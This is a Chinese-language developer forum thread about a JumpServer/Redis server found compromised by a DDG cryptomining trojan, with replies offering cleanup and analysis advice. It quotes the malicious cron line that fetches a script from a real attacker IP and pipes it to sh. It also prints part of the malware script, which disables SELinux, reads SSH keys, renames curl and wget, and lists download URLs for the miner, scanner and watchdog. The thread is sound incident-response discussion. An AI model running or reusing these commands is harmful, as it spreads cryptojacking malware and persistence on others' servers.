
公司用了个 jumpserver 做跳板机,之前运维同学弄的 版本 Version 1.3.2-2
今天发现连不上了.
进去发现 redis 出了问题.redis 是本地启动的,监听内网端口 排查发现 rdb 文件写入没权限,写入目录 /etc/cron.d 这...肯定不对啊.发现写入了一个文件:
文件内容 */1 * * * * curl -fsSL http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/init.sh |sh
被马无疑了.但是写入报了权限问题?这个文件怎么还写入成功了.
现在想研究一下这个马,然后对服务器得全处理一下了.头疼. 这个马怎么解 shell 玩的不好,求帮忙
1 firebroo 2019-06-21 09:59:01 +08:00 排除对方拿了权限之后是否改你 redis 启动权限,监听地址,不是的话,大概不是从 redis 进来的。 |
2 catcalse 2019-06-21 10:02:07 +08:00 中了挖矿病毒。。默哀。。 |
3 shooter556 2019-06-21 10:05:29 +08:00 先杀进程 删除相关文件 删除 crontab 监控网络连接异常 手不够快有可能需要写脚本,有些进程会 respawn 的 |
4 shooter556 2019-06-21 10:06:44 +08:00 想研究的话,不用删除,放到某个地方就行了 |
5 houzhimeng 2019-06-21 10:08:55 +08:00 挖矿,数据都在 tmp 下了,服务器上应该有 shell 脚本 |
6 xiaotianhu OP @firebroo 那不至于用 redis 写文件来执行啊. 我怀疑是从 jumpserver 给 redis 执行命令. |
7 xiaotianhu OP @shooter556 docker 安全么.隔离性够用的吧 |
8 defunct9 2019-06-21 10:27:34 +08:00 开 ssh,让我上去看看 |
9 lvzhiqiang 2019-06-21 10:35:51 +08:00 那个定时任务归属那个用户的? -- 还有,重装系统吧,你不知道系统那个角落还 藏有挂马脚本。 |
10 1ffree 2019-06-21 10:40:47 +08:00 上次中招, 就把机器改成 ssh 密钥登陆了, 再没发生过 |
12 gaius 2019-06-21 10:53:57 +08:00 查下进程,可能还有进程会自动下载脚本跑 |
13 xiaotianhu OP 搞定了,应该是没执行成功.虚惊了 |
14 muchengxue 2019-06-21 11:12:33 +08:00 挖矿的,利用了 redis 写文件的特性,你 redis没设置密码吧 |
15 cominghome 2019-06-21 11:14:09 +08:00 你们的跳板机居然可以从外网访问到,心也太大了吧 |
17 caryqy 2019-06-21 11:47:35 +08:00 |
19 Livid MOD PRO |
20 kangmang92 2019-06-21 13:22:07 +08:00 @xiaotianhu 如何搞定的 详细说说 我的 docker 跑的 redis 也发现了 这个 多谢 |
21 version 2019-06-21 13:51:11 +08:00 via iPhone 应该是你服务器主机没有屏蔽 6379 端口,我之前测试服务器也是试过,平时正常是 127 本机监控,后来业务开内网监听就出事了,后来发现安全组没有开屏蔽 6379,以前研究过,还找到了挖矿账号,查到不少余额,不过也只能重新安装了,一般服务器开防墙应该没问题,攻击来源也没猜到,其它人也用,评定不了 |
22 itechify PRO 早就遇到过了 redis 的端口和配置问题, 1 没密码 2 端口太普通 3 默认配置有那个写本地的权限 解决方案,指标+治本 1,按照网上重新配置密码端口和去掉权限 2,kill 掉进程 3,删除公钥中不是你的密钥 4,删除 crontab 里面的定时任务 |
23 lepig 2019-06-21 14:08:46 +08:00 |
24 lepig 2019-06-21 14:09:59 +08:00 提供一个清理脚本,仅供参考。我在自己的个人服务器上执行过 https://coding.net/u/omg/p/AA/git/blob/master/%E6%B8%85%E7%90%86%E8%84%9A%E6%9C%AC.sh 不过,如果可以 还是建议重装一次系统 |
25 linnil 2019-06-21 14:13:33 +08:00 能 ps 出那个进程么? vi 删掉定时任务之后会立刻重新恢复么?/proc 下有对应进程 ID 的文件夹么? 如果上面的回答都是 no,那么准备好迁移的数据,重装系统吧。如果不是,参考前面给的建议。 对付`rootkit`难度爆表。 |
26 liuyi_beta 2019-06-21 14:58:17 +08:00 把脚本里的 eval 改成 echo,在 shell 里执行,看解密出来的那一串字符,然后 rev,就是一串 base64,然后解码就能看到具体的脚本执行内容了,就是挖矿脚本 |
28 viruser 2019-06-21 15:43:28 +08:00 还是 ddg 挖矿木马,可能内网机子由于其他原因感染了木马,然后木马爆破出 redis 密码进行了横向扩散。新木马和之前的相比,新木马尝试使用 drupal, Elasticsearch, Hadoop, redis, spring, sqlserver, ssh, thinkphp, weblogic 等服务的配置失误 /漏洞进行 RCE...  |
29 dunhanson 2019-06-21 15:49:24 +08:00 @Livid 具体到这个问题 10 个人装 linux,就有 10 种不同的 linux 所以不上机器,就猜火车,我觉得远不如上去看看到底是怎么回事有用 redis 的漏洞我见过两种,所以懒得猜,看具体情况再分析 版主的言论和脑回路真是不敢苟同 每个人可以选择相信别人,也可以选择不信 物以类聚,人以群分嘛 至少我在 v2 的时候帮人解决了不少问题,交易也都先付款,感觉还颇不错 很有诚信的一个论坛 找了几贴(被封了还翻贴真累撒): https://v2ex.com/t/530877#reply19 t/534100#reply29 https://v2ex.com/t/530578#reply54 再靠前的就懒得翻了 感觉版主跟 abmin521 是同一类人 封了就封了吧,最近 V2 也怪怪的,似乎大家也很争议。 |
31 Livid MOD PRO |
33 zhouwei520 2019-06-21 16:26:19 +08:00 |
34 Allenqjy 2019-06-21 16:29:55 +08:00 @defunct9 加油! |
35 firebroo 2019-06-21 17:09:46 +08:00 太长了,复制不出来,你找个虚拟机 sh -x xx.sh 就行 #!/bin/sh setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crOndir='/var/spool/cron/'"$USER" cOnt=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/url" ccdir="/usr/bin/wget" ccdira="/usr/bin/get" mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/url miner_url="https://pixeldrain.com/api/file/qfCJh56W" miner_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/sysupdate" miner_size="854364" sh_url="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/update.sh" sh_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/update.sh" config_url="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/config.json" config_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/config.json" config_size="3300" scan_url="https://pixeldrain.com/api/file/GXot-j_7" scan_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/networkservice" scan_size="2345296" watchdog_url="https://pixeldrain.com/api/file/9aWNKUNO" watchdog_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/sysguard" watchdog_size="1587024" |
37 dif 2019-06-21 17:34:07 +08:00 我也遇到过,加了个密码就解决了。 docker run -d --name redis-server -p 6379:6379 redis --requirepass "用 1password 生成的密码"就行了。 |
38 mink 2019-06-21 17:40:45 +08:00 我也遇到过,在腾讯云使用 docker redis 镜像的时候发现有挖矿脚本。 怕服务器里面还有脚本就重装了, 然后 redis 下载了官方的没有用 docker, 怀疑是 docker 中 redis 镜像已经中招了。 |
39 imlz 2019-06-21 18:33:02 +08:00 @xiaotianhu 你好,我是 jumpserver 的代码贡献者之一,你说的问题我们能否私聊一下? [email protected] |
40 akira 2019-06-21 19:45:58 +08:00 重新搭建一套服务器环境吧,原环境应该都是不可靠的了 |
41 penisulaS 2019-06-21 20:12:59 +08:00 我用的 windows server 跑的 redis,狂毒写入了脚本,但是跑不动 :doge |
43 onepunch 2019-06-21 22:46:06 +08:00 之前服务器也出现过挖矿病毒,会有一个叫 http 的进程, cpu 直接 100% ;仔细看看进程有没有问题吧 |
44 qwqVictor 2019-06-22 14:37:30 +08:00 闲的没事在 Docker 里执行了一下,用 bash -x 还原了执行过程,然后抓出来三个 binary,楼主拿着它研究一下,最近没啥时间不然我也研究一下。 三个 binary、原脚本和执行过程的输出都打包了: https://cloud.qwq.ren/s/cmcjRJSGXdTmr6f 另外扫了下这个马下载服务器的端口,发现它挺空的,估计是专用来下载马的。这个 IP 的 AS 号为 AS134520,属于 TechAvenue 公司,估计是 GigsGigsCloud 的机子 (我自己的转发机也是 GigsGigsCloud 所以很熟 233333)。你可以尝试联系服务商举报这个机子滥用来报复他一下 233333 |
45 qwqVictor 2019-06-22 14:45:14 +08:00 sysupdate 似乎就是挖门罗币的 xmrig |
46 xiaotianhu OP |
47 xiaotianhu OP @liuyi_beta 是这样,我也用这个方法分析了一下,感谢. |
48 xiaotianhu OP @imlz 应该是 redis 的问题.跟 jumpserver 不知道关系大不大 但是我 redis 监听是内网端口,无密码.机器在阿里云 vpc 内,我理解的外面的人应该是无法访问我 vpc 内网的 redis 啊,只有 jumpserver 的 web 和 ssh 有外网权限.ssh 有问题阿里云会提醒,但是并没有 ssh 相关报警. 所以怀疑是 jumpserver.这机器上没有其他的业务用了 redis,但是有在跑一个 zabbix 的 client |
49 realpg PRO @xiaotianhu #46 挖矿需要啥 root 权限…… 而且都成功写入 cron 了…… 没执行大概是你的 cron 服务有问题 基本上这类挖矿的都不要权限,甚至大量 nobody 执行的(多见与垃圾 PHP 代码被注出来的) |